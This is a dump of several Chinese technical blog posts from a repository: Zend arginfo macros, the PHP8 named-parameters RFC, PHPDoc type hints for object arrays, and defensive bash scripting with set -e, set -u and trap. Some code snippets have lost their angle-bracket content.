ZEND_TYPE_ENCODE(type, allow_null), return_reference, 0 }, 60 | 61 | #define ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO(name, type, allow_null) \ 62 | ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(name, 0, -1, type, allow_null) 63 | ``` 64 | 65 | 在ZEND API头文件中我们可以看到新添加的宏` ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX`, 还有`ZEND_BEGIN_ARG_WITH_RETURN_OBJ_INFO_EX`等等 66 | 67 | 我们可以这样使用它 68 | 69 | ```C 70 | ZEND_BEGIN_ARG_WITH_RETURN_OBJ_INFO_EX(arginfo_swoole_http2_client_coro_recv, 0, 1, Swoole\\Http2\\Response, 0) 71 | ZEND_END_ARG_INFO() 72 | 73 | ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO(arginfo_swoole_http2_client_coro_balabala, _IS_BOOL, 0) 74 | ZEND_END_ARG_INFO() 75 | ``` 76 | 77 | 这样就可以为这个方法声明返回值类型了 78 | 79 | 当然, 我实际并没有这么做, 因为好像`ZEND_BEGIN_ARG_WITH_RETURN_OBJ_INFO_EX`这个宏在PHP7最初版本有[BUG](https://github.com/php/php-src/commit/141d1ba9801f742dc5d9ccd06e02b94284c4deb7), 我们可以通过git blame看到几次修复, 而且并没有看到任何扩展使用了它, 如果要使用, 需要添加一些版本判断, 实在麻烦, 而且指不定会出什么问题, 这个需求也不是特别重要, 而且全部使用它工程量挺大的, 可能需要过一阵子再考虑统一添加一下 -------------------------------------------------------------------------------- /_/php8-rfc-named-params.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "漫谈PHP8新特性:命名参数" 3 | date: 2020-07-17 18:25:20 4 | tags: [php, php8, rfc] 5 | --- 6 | 7 | 本文是对「[命名参数RFC](https://wiki.php.net/rfc/named_params)」的个人解读,先让我们来简单看下RFC的主要内容: 8 | 9 | 命名参数特性允许基于参数名称而不是参数位置来传递参数,这使得: 10 | 11 | 1. 可以跳过默认值 12 | 2. 参数的传递可与顺序无关 13 | 3. 参数的含义可以自我记录 14 | 15 | 16 | 17 | > 其实这个特性的RFC早在2013年和2016年就有人建立过了,但一直没有通过或是实施,直到PHP8版本,该RFC终于得到机会再次启用,并且发起人是PHP内核的核心开发者Nikita Popov(nikic),nikic对此做了非常详细的调研,RFC全文字数差不多有三万字(相比于PHP的其它RFC而言已经是相当的多了),该RFC刚开始投票的时候还有一定的悬念(PHP社区的元老级人物对于新特性总是给出反对票),但很快赞同数就远超了2/3多数,目前RFC已投票通过。 18 | 19 | ## 命名参数的好处 20 | 21 | ### 允许跳过默认值 22 | 23 | 最显著的例子就是: 24 | 25 | ```php 26 | // before 27 | htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, ini_get('default_charset'), false); 28 | // after 29 | htmlspecialchars($string, double_encode: false); 30 | ``` 31 | 32 | 在没有命名参数特性之前,我们为了设置第四个参数`double_encode`,不得不给出第二第三个可选参数的默认值,我们可能需要查询文档或是编写冗长的代码,而有了命名参数特性之后,一切都简单了,并且哪怕某个参数的默认值发生了变化,代码也不会受到影响(虽然几乎不存在这样的情况,但某种意义上也是消除了硬编码)。 33 | 34 | ### 参数含义的自我记录及传递顺序无关性 35 | 36 | 比如对于某个我们我们不熟的函数(当然实际上来说,array系列函数都不熟的话可能连面试都通不过...): 37 | 38 | ```php 39 | array_fill(value: 50, start_index: 0, num: 100); 40 | ``` 41 | 42 | 代码已经包含了对每个入参的意义的表达,并且传参顺序也可以任意改变。 43 | 44 | ### 更简便的API调用 45 | 46 | 但我觉得这样的全命名写法一般来说是多此一举,容易造成书写风格的割裂,并且装了插件的编辑器或是IDE都能很好地显示出参数名。 47 | 48 | 所以这个特性最大的受益者应该是可选参数特别多或设计不合理的一些API,比如又臭又长的OpenSSL的API: 49 | 50 | ```php 51 | function openssl_encrypt(string $data, string $method, string $password, int $options = 0, string $iv = '', &$tag = UNKNOWN, string $aad = '', int $tag_length = 16): string|false {} 52 | ``` 53 | 54 | ### 更快捷的对象属性的初始化 55 | 56 | 此外有所受益的是对象属性的初始化: 57 | 58 | 其实在早前就有RFC探讨了如何更好地初始化对象属性,以使对象构造更符合人体工程学。写过C++的同学肯定很快就想到了「[初始化列表](https://zh.cppreference.com/w/cpp/language/list_initialization)」,PHP也有人专门为此建立了一个RFC「[对象初始化器](https://wiki.php.net/rfc/object-initializer)」,但是显然专门为此添加一个新语法并不那么值得,以反对票一边倒的结果被拒绝了。但现在我们有了命名参数以后,这个问题自然就解决了: 59 | 60 | > 以下展示还包含了另一个已落地的PHP8新特性,[构造函数属性升级](https://wiki.php.net/rfc/constructor_promotion),我们可以在声明构造函数的参数的同时将其声明为对象的属性: 61 | 62 | ```php 63 | // Part of PHP AST representation 64 | class ParamNode extends Node { 65 | public function __construct( 66 | public string $name, 67 | public ExprNode $default = null, 68 | public TypeNode $type = null, 69 | public bool $byRef = false, 70 | public bool $variadic = false, 71 | Location $startLoc = null, 72 | Location $endLoc = null 73 | ) { 74 | parent::__construct($startLoc, $endLoc); 75 | } 76 | } 77 | 78 | new ParamNode('test', variadic: true); 79 | ``` 80 | 81 | 来看看没有这两个特性之前我们需要以怎样繁琐的方式写出同等的代码吧,我保证你肯定不想按以下方式写代码,除非你已经在用某种代码生成器来帮你完成这一工作: 82 | 83 | ```php 84 | class ParamNode extends Node 85 | { 86 | public string $name; 87 | public ?ExprNode $default; 88 | public ?TypeNode $type; 89 | public bool $byRef; 90 | public bool $variadic; 91 | 92 | public function __construct( 93 | string $name, 94 | ExprNode $default = null, 95 | TypeNode $type = null, 96 | bool $byRef = false, 97 | bool $variadic = false, 98 | Location $startLoc = null, 99 | Location $endLoc = null 100 | ) { 101 | $this->name = $name; 102 | $this->default = $default; 103 | $this->type = $type; 104 | $this->byRef = $byRef; 105 | $this->variadic = $variadic; 106 | parent::__construct($startLoc, $endLoc); 107 | } 108 | } 109 | 110 | new ParamNode('test', null, null, false, true); 111 | ``` 112 | 113 | 或者有的人会选择用「数组」这个万金油来解决: 114 | 115 | ```php 116 | class ParamNode extends Node { 117 | public string $name; 118 | public ExprNode $default; 119 | public TypeNode $type; 120 | public bool $byRef; 121 | public bool $variadic; 122 | 123 | public function __construct(string $name, array $options = []) { 124 | $this->name = $name; 125 | $this->default = $options['default'] ?? null; 126 | $this->type = $options['type'] ?? null; 127 | $this->byRef = $options['byRef'] ?? false; 128 | $this->variadic = $options['variadic'] ?? false; 129 | 130 | parent::__construct( 131 | $options['startLoc'] ?? null, 132 | $options['endLoc'] ?? null 133 | ); 134 | } 135 | } 136 | 137 | // Usage: 138 | new ParamNode($name, ['variadic' => true]); 139 | ``` 140 | 141 | 有点小机灵,但是很遗憾,它的缺点更多: 142 | 143 | 1. 无法利用类型系统在传参时自动地检测(而是由于属性类型验证失败而报错) 144 | 2. 你必须查看实现或是文档,且文档无法很好地记录它(没有公认的规范) 145 | 3. 你可以悄无声息地传递未知选项而不会得到报错,这一错误非常普遍,曾经遇到有一个开发者将配置项名打错了一个字母,导致配置无法生效,却也没有得到任何报错,为此debug了一整天 146 | 4. 没法利用新特性「构造函数属性升级」 147 | 5. 如果你想将现有API切换到数组方式,你不得不破坏API兼容性,但命名参数不需要 148 | 149 | nikic非常自信地认为,相比而言,**命名参数提供了同等便利,但没有任何缺点**。 150 | 151 | 此外,RFC还简单延伸了一个备选方案,探讨如何解决历史代码中使用数组的缺陷: 152 | 153 | ```php 154 | class ParamNode extends Node { 155 | public string $name; 156 | public ExprNode $default; 157 | public TypeNode $type; 158 | public bool $byRef; 159 | public bool $variadic; 160 | 161 | public function __construct( 162 | string $name, 163 | array [ 164 | 'default' => ExprNode $default = null, 165 | 'type' => TypeNode $type = null, 166 | 'byRef' => bool $type = false, 167 | 'variadic' => bool $variadic = false, 168 | 'startLoc' => Location $startLoc = null, 169 | 'endLoc' => Location $endLoc = null, 170 | ], 171 | ) { 172 | $this->name = $name; 173 | $this->default = $default; 174 | $this->type = $type; 175 | $this->byRef = $byRef; 176 | $this->variadic = $variadic; 177 | parent::__construct($startLoc, $endLoc); 178 | } 179 | } 180 | ``` 181 | 182 | 虽然解决了类型安全问题,但无法解决默默接受未知选项的问题,并且还有很多需要考虑的难题,但不值得继续展开讨论。 183 | 184 | ### 更好的注解兼容性 185 | 186 | 千呼万唤始出来,PHP8终于有了官方支持的注解特性,对于有些人来说这是比JIT还要让人激动的事情(因为对于他们来说JIT性能提升真的不是很大,PHP5到PHP7的跨越才是永远滴神),那么命名参数对注解又有什么好处呢? 187 | 188 | 曾经的路由注解可能是这样的(@Symfony Route): 189 | 190 | ```php 191 | /** 192 | * @Route("/api/posts/{id}", methods={"GET","HEAD"}) 193 | */ 194 | public function show(int $id) { ... } 195 | ``` 196 | 197 | 有了官方注解以后可能是这样的: 198 | 199 | ```php 200 | < ["GET", "HEAD"]])>> 201 | public function show(int $id) { ... } 202 | ``` 203 | 204 | 那么势必造成API的向下不兼容,但有了命名参数以后,我们完全可以保持相同的API结构: 205 | 206 | ```php 207 | <> 208 | public function show(int $id) { ... } 209 | ``` 210 | 211 | > 由于缺乏对嵌套注释的支持,仍然需要进行一些更改,但这会使迁移更加顺畅。 212 | 213 | 214 | 215 | ## 思考 216 | 217 | 好了,看到这里很多人应该会觉得:命名参数真是个好东西!双脚赞成! 218 | 如果是,那么很巧,我也是这么想的,尤其是刚学编程,尝试用Python写一个WEB小程序的时候,我有被命名参数特性小小地惊艳到。 219 | 但是我们不得不知道的是,以上介绍「好处」的内容仅仅是RFC篇幅的小头部分,剩下的上万字内容也是大多数人所并不关心或不需要关心的实施细节。但我们必须以此思考获得的收益是否能弥补变动的成本,这也正是反对者所忧虑的部分。 220 | 221 | 我在这里简单罗列一下添加该特性需要考虑的问题们: 222 | 223 | * 是否支持动态指定命名参数?如果是,如何支持?使用何种语法?和现有语法有何种冲突?可能影响到的未来语法? 224 | * 约束条件:如命名参数必须在必选参数之后;不得传递相同的命名参数;不得以命名参数形式覆盖相同位置的参数;不得使用未知的命名参数 225 | * 可变参函数和参数解压缩规则 226 | * 受影响的API们(不完全):`func_get_args`,`call_user_func`系列,`__invoke()`,`__call()`和`__callStatic()`等等 227 | * 继承期间变量名的更改:是否将其视为错误?是,造成向下不兼容?否,违反里式替换原则怎么办?应遵循何种模型,其它哪些语言的实现值得参考? 228 | * 对于内核实现的影响(太多了,不扩展) 229 | 230 | 有兴趣的同学可以自己阅读原版RFC,体会一下一个看似简单的新特性添加需要多么深入的考虑。最重要的是你还要将它们总结出来并说服绝大部分社区成员投赞成票,不同的人发起同样的主题的RFC也可能会有不同的结果。 231 | 232 | 233 | 234 | ## 命名参数的困境 235 | 236 | ### 修改参数名即是破坏向后兼容性 237 | 238 | CS领域中头号难题:命名! 239 | 240 | 如果说命名空间、类名、函数方法名已经让我们痛苦不堪,那么现在我们获得了数倍于之前的痛苦,好好想想你的参数名吧,因为你以后不能随便改它了,并且这将是下划线派和驼峰派的又一个战争点,谁输谁赢,谁是新潮流? 241 | 242 | > PS:PHP内核开发者们正在对成千上万个内置函数的参数命名进行梳理工作... 243 | 244 | ### 文档和实现中的参数名称不匹配 245 | 246 | 参数命名的梳理的工作量翻倍了。 247 | 248 | ### 继承的方法中不宜重命名参数名 249 | 250 | 该RFC建议遵循Python和Ruby的模型,在子方法中参数名如产生变动则默默接受,调用时使用不匹配的父方法的参数名可能会产生错误。 251 | 252 | ```php 253 | interface I { 254 | public function test($foo, $bar); 255 | } 256 | 257 | class C implements I { 258 | public function test($a, $b) {} 259 | } 260 | 261 | $obj = new C; 262 | 263 | // Pass params according to C::test() contract 264 | $obj->test(a: "foo", b: "bar"); // Works! 265 | // Pass params according to I::test() contract 266 | $obj->test(foo: "foo", bar: "bar"); // Error! 267 | ``` 268 | 269 | 通常来说这没什么问题,但对于某些抽象设计来说就很不好了,以下代码将无法正常运作: 270 | 271 | ```php 272 | interface Handler { 273 | public function handle($message); 274 | } 275 | 276 | class RegistrationHandler implements Handler { 277 | public function handle($registrationCommand); 278 | } 279 | 280 | class ForgottenPasswordHandler implements Handler { 281 | public function handle($forgottenPasswordCommand); 282 | } 283 | 284 | class MessageBus { 285 | //... 286 | public function addHandler(string $message, Handler $handler) { //... } 287 | public function getHandler(string $messageType): Handler { //... } 288 | public function dispatch($message) 289 | { 290 | // handler可能是RegistrationHandler或ForgottenPasswordHandler 291 | // 它们为了更好地表达参数的意义而改变了参数名, 但也导致了我们无法通过message这个名字来调用它了 292 | $this->getHandler(get_class($message))->handle(message: $message); 293 | } 294 | } 295 | ``` 296 | 297 | 因此已经有人提出了一个看起来更复杂的RFC:[Renamed Parameters](https://wiki.php.net/rfc/renamed_parameters) 298 | 299 | 300 | 301 | ## 未来方向 302 | 303 | ### 简写语法 304 | 305 | 我们常常会在栈上使用和参数名一样的变量名,那么我们可能可以简化这一行为: 306 | 307 | ```php 308 | // before: 309 | new ParamNode(name: $name, type: $type, default: $default, variadic: $variadic, byRef: $byRef); 310 | // after: 311 | new ParamNode(:$name, :$type, :$default, :$variadic, :$byRef); 312 | ``` 313 | 314 | 也适用于数组的解构(比较实用): 315 | 316 | ```php 317 | // before 318 | ['x' => $x, 'y' => $y, 'z' => $z] = $point; 319 | // after 320 | [:$x, :$y, :$z] = $point; 321 | ``` 322 | 323 | 这样我们可以废弃`compact`这种魔法一般的函数,刚学PHP的时候我好一会才理解这函数是干嘛的,作为函数,它的能力却和eval一样邪恶,这种特性应当是语法级别的。 324 | 325 | 326 | 327 | ## 结语 328 | 329 | 在我看来,这个特性的通过是必然的,这是一个迟早要实现的特性,对很多人来说更是一个姗姗来迟的特性。很多人不了解的是,PHP的RFC常常要求起草者自己想办法实现(包括找人代为实现),而不是直接进入投票环节通过后就强制要求PHP核心开发者实现(你行你上),因此有些RFC由于缺少靠谱的实施者所以就没有下文了。 330 | 331 | PHP8这个大版本是去其糟粕、辞旧迎新的好契机,恰逢nikic这样年轻有为的改革派,一些本不可能落地的废弃项和新特性都已安全着陆(未来有空我会介绍一些PHP8中让人拍手称快的糟粕废弃项),PHP更加地「通用脚本语言」,而不再是「Personal Home Page」。 332 | 333 | -------------------------------------------------------------------------------- /_/phpdoc-type-hinting-for-array-of-objects.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[译] PHPDoc类型提示数组的对象" 3 | date: 2018-01-28 21:28:29 4 | tags: [php,phpstorm,ide] 5 | --- 6 | 7 | ## 问题描述 8 | 9 | 因此,在PHPDoc中,可以在成员变量声明之上指定`@var`来提示其类型。然后一个IDE,例如PHPEd将知道它正在使用什么类型的对象,并且能够为该变量提供代码洞察。 10 | 11 | ```php 12 | specified containing a single type, the Type definition informs the reader of the type of each array element. Only one Type is then expected as element for a given array. 37 | > 38 | > Example: `@return int[]` 39 | 40 | 41 | 42 | ## 次佳解决方案 43 | 44 | 45 | ```php 46 | foreach ($Objs as $Obj) 47 | { 48 | /* @var $Obj Test */ 49 | // You should be able to get hinting after the preceding line if you type $Obj-> 50 | } 51 | ``` 52 | 53 | 我在Zend Studio中做了很多工作。不知道其他编辑,但它应该工作。 54 | 55 | 56 | 57 | ## 第三种解决方案 58 | 59 | Netbeans提示: 60 | 61 | 您可以在`$users[0]->`和`$this->`上获取用户类数组的代码完成。 62 | 63 | ```php 64 | /** 65 | * @var User[] 66 | */ 67 | var $users = array(); 68 | ``` 69 | 70 | 当您完成`$this->...`时,您还可以看到类成员列表中的数组类型 71 | 72 | ## 第四种方案 73 | 74 | 指定变量是一个对象数组: 75 | 76 | ```php 77 | $needles = getAllNeedles(); 78 | /* @var $needles Needle[] */ 79 | $needles[1]->... //codehinting works 80 | ``` 81 | 82 | 这在Netbeans 7.2(我正在使用它) 83 | 84 | 还有: 85 | 86 | ```php 87 | $needles = getAllNeedles(); 88 | /* @var $needles Needle[] */ 89 | foreach ($needles as $needle) { 90 | $needle->... //codehinting works 91 | } 92 | ``` 93 | 94 | 因此在`foreach`中使用声明是不必要的。 95 | 96 | ## 第五种方案 97 | 98 | 我更喜欢阅读和编写干净的代码 – 如Robert C. Martin的”Clean Code”所述。当遵循他的信条时,您不应要求开发人员(作为您的API的用户)知道数组的(内部)结构。 99 | 100 | API用户可能会问:这是仅一维的数组吗?物体是否在多维数组的各个层次上传播?我需要访问所有对象有多少个嵌套循环(foreach等)?什么类型的对象是该数组中的”stored”? 101 | 102 | 如您所概述的,您希望将该数组(其中包含对象)用作一维数组。 103 | 104 | 正如Nishi所概述的,你可以使用: 105 | 106 | ```php 107 | /** 108 | * @return SomeObj[] 109 | */ 110 | ``` 111 | 112 | 为了那个原因。 113 | 114 | 但再次:请注意 – 这不是一个标准的docblock符号。这种符号是由一些IDE生产者引入的。 115 | 116 | 好的,作为一名开发人员,您知道”[]”与PHP中的数组绑定。但是在正常的PHP上下文中”something[]”是什么意思? “[]”意味着:在”something”中创建新元素。新的元素可以是一切。但是你想表达的是:具有相同类型的对象的数组,它的确切类型。您可以看到,IDE生产者引入了一个新的上下文。你必须学习的一个新的背景。 PHP开发人员必须学习的新环境(了解您的docblocks)。坏风格(!)。 117 | 118 | 因为你的数组确实有一个维度,你可能想要将这个“数组的对象”称为”list”。请注意,”list”在其他编程语言中具有非常特殊的意义。它会被更好地称为”collection”为例。 119 | 120 | 记住:您使用一种编程语言,可以为您提供OOP的所有选项。使用类而不是数组,并使类像数组一样遍历。例如。: 121 | 122 | ```php 123 | class orderCollection implements ArrayIterator 124 | ``` 125 | 126 | 或者如果要将内部对象存储在多维数组/对象结构中的不同级别上: 127 | 128 | ```php 129 | class orderCollection implements RecursiveArrayIterator 130 | ``` 131 | 132 | 此解决方案将使用”orderCollection”类型的对象替换您的数组,但是到目前为止,不能在IDE中启用代码完成。好的。下一步: 133 | 134 | 实现与docblock接口引入的方法 – 特别是: 135 | 136 | ```php 137 | /** 138 | * [...] 139 | * @return Order 140 | */ 141 | orderCollection::current() 142 | 143 | /** 144 | * [...] 145 | * @return integer E.g. database identifier of the order 146 | */ 147 | orderCollection::key() 148 | 149 | /** 150 | * [...] 151 | * @return Order 152 | */ 153 | orderCollection::offsetGet() 154 | ``` 155 | 156 | 不要忘记使用类型提示: 157 | 158 | ```php 159 | orderCollection::append(Order $order) 160 | orderCollection::offsetSet(Order $order) 161 | ``` 162 | 163 | 这个解决方案停止引入很多: 164 | 165 | ```php 166 | /** @var $key ... */ 167 | /** @var $value ... */ 168 | ``` 169 | 170 | 所有的代码文件(例如循环内),因为Zahymaka证实了他/他的答案。您的API用户不会被迫引用该文档块,以使代码完成。要只在一个地方有@return可以减少冗余(@var)作为mutch尽可能的。使用@var“docBlocks”会使您的代码变得最不可读。 171 | 172 | 最后你完成了看起来很难看看起来像大锤打破一个坚果?不是真的,因为你熟悉那些接口和干净的代码。记住:你的源代码是一次写/读很多。 173 | 174 | 如果IDE的代码完成无法使用此方法,请切换到更好的(例如IntelliJ IDEA,PhpStorm,Netbeans)或在IDE生成器的问题跟踪器上提交功能请求。 175 | 176 | 感谢Christian Weiss(来自德国)担任我的教练,并教我如此伟大的东西。 PS:在邢会见我和他 177 | 178 | ## 第六种方案 179 | 180 | [PSR-5: PHPDoc](https://segmentfault.com/link.php?target=https%3A//github.com/php-fig/fig-standards/blob/211063eed7f4d9b4514b728d7b1810d9b3379dd1/proposed/phpdoc.md%23collections)提出了一种形式的Generics-style表示法。 181 | 182 | ### Syntax 183 | 184 | ```php 185 | Type[] 186 | Type 187 | Type 188 | Type 189 | ``` 190 | 191 | 集合中的值可能甚至是另一个数组,甚至另一个集合。 192 | 193 | ```php 194 | Type> 195 | Type> 196 | Type> 197 | ``` 198 | 199 | ### 例子 200 | 201 | ```php 202 | */ 209 | 210 | $a = new Collection(); 211 | $a[] = new Model_User(); 212 | $a->resetChanges(); 213 | $a[0]->name = "George"; 214 | $a->echoChanges(); 215 | /* @var $a Collection */ 216 | ``` 217 | 218 | 注意:如果您期望IDE执行代码辅助,那么另一个问题是IDE是否支持PHPDoc Generic-style集合符号。 219 | 220 | 从我的答案到[this question](https://segmentfault.com/link.php?target=https%3A//stackoverflow.com/a/39384337/934739)。 221 | 222 | ## 第七种方案 223 | 224 | 在NetBeans 7.0(也可能较低)中,您可以声明返回类型“具有文本对象的数组”,就像`@return Text`一样,并且代码提示将起作用: 225 | 226 | 编辑:使用@Bob Fanger建议更新示例 227 | 228 | ```php 229 | /** 230 | * get all Tests 231 | * 232 | * @return Test|Array $tests 233 | */ 234 | public function getAllTexts(){ 235 | return array(new Test(), new Test()); 236 | } 237 | ``` 238 | 239 | 只需使用它: 240 | 241 | ```php 242 | $tests = $controller->getAllTests(); 243 | //$tests-> //codehinting works! 244 | //$tests[0]-> //codehinting works! 245 | 246 | foreach($tests as $text){ 247 | //$test-> //codehinting works! 248 | } 249 | ``` 250 | 251 | 它不是完美的,但最好只是离开它只是”mixed”,女巫没有带来价值。 252 | 253 | CONS是你被允许以数组为背景,因为文本对象将会抛出错误。 254 | 255 | ## 第八种方案 256 | 257 | **在Zend Studio中使用array[type]。** 258 | 259 | 在Zend Studio中,`array[MyClass]`或`array[int]`甚至`array[array[MyClass]]`都很棒。 260 | 261 | ## 第九种方案 262 | 263 | 正如DanielaWaranie在答案中提到的那样 – 当您在$ collectionObject中迭代$ items时,有一种方法来指定$ item的类型:将`@return MyEntitiesClassName`添加到`current()`以及返回值的`Iterator`和`Iterator`和`ArrayAccess`方法的其余部分。 264 | 265 | 繁荣! `/** @var SomeObj[] $collectionObj */`不需要`foreach`,并且与收藏对象一起使用,无需以`@return SomeObj[]`描述的特定方法返回收藏。 266 | 267 | 我怀疑并不是所有的IDE都支持它,但它在PhpStorm中工作得很好,这让我更开心。 268 | 269 | **例:** 270 | 271 | ```php 272 | Class MyCollection implements Countable, Iterator, ArrayAccess { 273 | 274 | /** 275 | * @return User 276 | */ 277 | public function current() { 278 | return $this->items[$this->cursor]; 279 | } 280 | 281 | //... implement rest of the required `interface` methods and your custom 282 | } 283 | ``` 284 | 285 | ### 有什么有用的我会添加发布这个答案 286 | 287 | 在我的情况下,`current()`和`interface`方法的其余部分在`Abstract` -collection类中实现,我不知道最终将在集合中存储什么样的实体。 288 | 289 | 所以这里是窍门:不要在抽象类中指定返回类型,而是在特定的集合类的描述中使用PhpDoc instuction `@method`。 290 | 291 | **例:** 292 | 293 | ```php 294 | Class User { 295 | function printLogin() { 296 | echo $this->login; 297 | } 298 | } 299 | 300 | Abstract Class MyCollection implements Countable, Iterator, ArrayAccess { 301 | 302 | protected $items = []; 303 | 304 | public function current() { 305 | return $this->items[$this->cursor]; 306 | } 307 | 308 | //... implement rest of the required `interface` methods and your custom 309 | //... abstract methods which will be shared among child-classes 310 | } 311 | 312 | /** 313 | * @method User current() 314 | * ...rest of methods (for ArrayAccess) if needed 315 | */ 316 | Class UserCollection extends MyCollection { 317 | 318 | function add(User $user) { 319 | $this->items[] = $user; 320 | } 321 | 322 | // User collection specific methods... 323 | 324 | } 325 | ``` 326 | 327 | 现在,使用类: 328 | 329 | ```php 330 | $collection = new UserCollection(); 331 | $collection->add(new User(1)); 332 | $collection->add(new User(2)); 333 | $collection->add(new User(3)); 334 | 335 | foreach ($collection as $user) { 336 | // IDE should `recognize` method `printLogin()` here! 337 | $user->printLogin(); 338 | } 339 | ``` 340 | 341 | 再次:我怀疑并不是所有的IDE都支持它,而PhpStorm则是这样。尝试你的,发表评论结果! 342 | 343 | 344 | 345 | ## 参考文献 346 | 347 | - [PHPDoc type hinting for array of objects?](https://stackoverflow.com/questions/778564/phpdoc-type-hinting-for-array-of-objects%3Fanswertab%3Dvotes) -------------------------------------------------------------------------------- /_/stronger-shell.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[整理] 写出健壮的Shell脚本及Shell异常处理" 3 | date: 2018-03-18 16:58:16 4 | tags: shell 5 | --- 6 | 7 | 许多人用shell脚本完成一些简单任务,而且变成了他们生命的一部分。不幸的是,shell脚本在运行异常时会受到非常大的影响。在写脚本时将这类问题最小化是十分必要的。本文中我将介绍一些让bash脚本变得健壮的技术。 8 | 9 | # 使用set -u 10 | 11 | 你因为没有对变量初始化而使脚本崩溃过多少次?对于我来说,很多次。 12 | 13 | ```shell 14 | chroot=$1 15 | ... 16 | rm -rf $chroot/usr/share/doc 17 | ``` 18 | 19 | 如果上面的代码你没有给参数就运行,你不会仅仅删除掉chroot中的文档,而是将系统的所有文档都删除。那你应该做些什么呢?好在bash提供了*set -u*,当你使用未初始化的变量时,让bash自动退出。你也可以使用可读性更强一点的`set -o nounset`。 20 | 21 | ```shell 22 | david% bash /tmp/shrink-chroot.sh 23 | 24 | $chroot= 25 | 26 | david% bash -u /tmp/shrink-chroot.sh 27 | 28 | /tmp/shrink-chroot.sh: line 3: $1: unbound variable 29 | 30 | david% 31 | ``` 32 | 33 | 34 | 35 | # 使用set -e 36 | 37 | 你写的每一个脚本的开始都应该包含*set -e*。这告诉bash一但有任何一个语句返回非真的值,则退出bash。使用-e的好处是避免错误滚雪球般的变成严重错误,能尽早的捕获错误。更加可读的版本:`set -o errexit` 38 | 39 | 使用-e把你从检查错误中解放出来。如果你忘记了检查,bash会替你做这件事。不过你也没有办法使用*$?*来获取命令执行状态了,因为bash无法获得任何非0的返回值。你可以使用另一种结构: 40 | 41 | ```shell 42 | command 43 | 44 | if [ "$?"-ne 0]; then echo "command failed"; exit 1; fi 45 | ``` 46 | 47 | 可以替换成: 48 | ```shell 49 | 50 | command || { echo "command failed"; exit 1; } 51 | ``` 52 | 53 | 或者使用: 54 | ```shell 55 | 56 | if ! command; then echo "command failed"; exit 1; fi 57 | ``` 58 | 59 | 如果你必须使用返回非0值的命令,或者你对返回值并不感兴趣呢?你可以使用 `command || true` ,或者你有一段很长的代码,你可以暂时关闭错误检查功能,不过我建议你谨慎使用。 60 | 61 | ```shell 62 | set +e 63 | 64 | command1 65 | 66 | command2 67 | 68 | set -e 69 | ``` 70 | 71 | 相关文档指出,bash默认返回管道中最后一个命令的值,也许是你不想要的那个。比如执行 `false | true` 将会被认为命令成功执行。如果你想让这样的命令被认为是执行失败,可以使用 `set -o pipefail` 72 | 73 | 74 | 75 | # 程序防御 - 考虑意料之外的事 76 | 77 | 你的脚本也许会被放到“意外”的账户下运行,像缺少文件或者目录没有被创建等情况。你可以做一些预防这些错误事情。比如,当你创建一个目录后,如果父目录不存在,**`mkdir`** 命令会返回一个错误。如果你创建目录时给**`mkdir`**命令加上-p选项,它会在创建需要的目录前,把需要的父目录创建出来。另一个例子是 **`rm`** 命令。如果你要删除一个不存在的文件,它会“吐槽”并且你的脚本会停止工作。(因为你使用了-e选项,对吧?)你可以使用-f选项来解决这个问题,在文件不存在的时候让脚本继续工作。 78 | 79 | 80 | 81 | # 准备好处理文件名中的空格 82 | 83 | 有些人从在文件名或者命令行参数中使用空格,你需要在编写脚本时时刻记得这件事。你需要时刻记得用引号包围变量。 84 | 85 | ```shell 86 | if [ $filename = "foo" ]; 87 | 88 | 当*$filename*变量包含空格时就会挂掉。可以这样解决: 89 | 90 | if [ "$filename" = "foo" ]; 91 | ``` 92 | 93 | 使用`$@`变量时,你也需要使用引号,因为空格隔开的两个参数会被解释成两个独立的部分。 94 | 95 | ```shell 96 | david% foo() { for i in $@; do echo $i; done }; foo bar "baz quux" 97 | 98 | bar 99 | 100 | baz 101 | 102 | quux 103 | 104 | david% foo() { for i in "$@"; do echo $i; done }; foo bar "baz quux" 105 | 106 | bar 107 | 108 | baz quux 109 | ``` 110 | 111 | 我没有想到任何不能使用*"$@"*的时候,所以当你有疑问的时候,使用引号就没有错误。 112 | 113 | 如果你同时使用find和xargs,你应该使用 -print0 来让字符分割文件名,而不是换行符分割。 114 | 115 | ```shell 116 | david% touch "foo bar" 117 | 118 | david% find | xargs ls 119 | 120 | ls: ./foo: No such file or directory 121 | 122 | ls: bar: No such file or directory 123 | 124 | david% find -print0 | xargs -0 ls 125 | 126 | ./foo bar 127 | ``` 128 | 129 | 130 | 131 | # 设置的陷阱 132 | 133 | 当你编写的脚本挂掉后,文件系统处于未知状态。比如锁文件状态、临时文件状态或者更新了一个文件后在更新下一个文件前挂掉。如果你能解决这些问题,无论是 删除锁文件,又或者在脚本遇到问题时回滚到已知状态,你都是非常棒的。幸运的是,bash提供了一种方法,当bash接收到一个UNIX信号时,运行一个 命令或者一个函数。可以使用**trap**命令。 134 | 135 | ```bash 136 | trap command signal [signal …] 137 | ``` 138 | 139 | 你可以链接多个信号(列表可以使用kill -l获得),但是为了清理残局,我们只使用其中的三个:*INT*,*TERM*和*EXIT*。你可以使用-as来让traps恢复到初始状态。 140 | 141 | #### 信号描述 142 | 143 | | INT | Interrupt - 当有人使用Ctrl-C终止脚本时被触发 | 144 | | ---- | ------------------------------------------------------------ | 145 | | TERM | Terminate - 当有人使用kill杀死脚本进程时被触发 | 146 | | EXIT | Exit - 这是一个伪信号,当脚本正常退出或者set -e后因为出错而退出时被触发 | 147 | 148 | 149 | 150 | 当你使用锁文件时,可以这样写: 151 | 152 | ```shell 153 | 154 | if [ ! -e $lockfile ]; then 155 | 156 | touch $lockfile 157 | 158 | critical-section 159 | 160 | rm $lockfile 161 | 162 | else 163 | 164 | echo "critical-section is already running" 165 | 166 | fi 167 | ``` 168 | 169 | 当最重要的部分(critical-section)正在运行时,如果杀死了脚本进程,会发生什么呢?锁文件会被扔在那,而且你的脚本在它被删除以前再也不会运行了。解决方法: 170 | 171 | ```shell 172 | if [ ! -e $lockfile ]; then 173 | 174 | trap " rm -f $lockfile; exit" INT TERM EXIT 175 | 176 | touch $lockfile 177 | 178 | critical-section 179 | 180 | rm $lockfile 181 | 182 | trap - INT TERM EXIT 183 | 184 | else 185 | 186 | echo "critical-section is already running" 187 | 188 | fi 189 | ``` 190 | 191 | 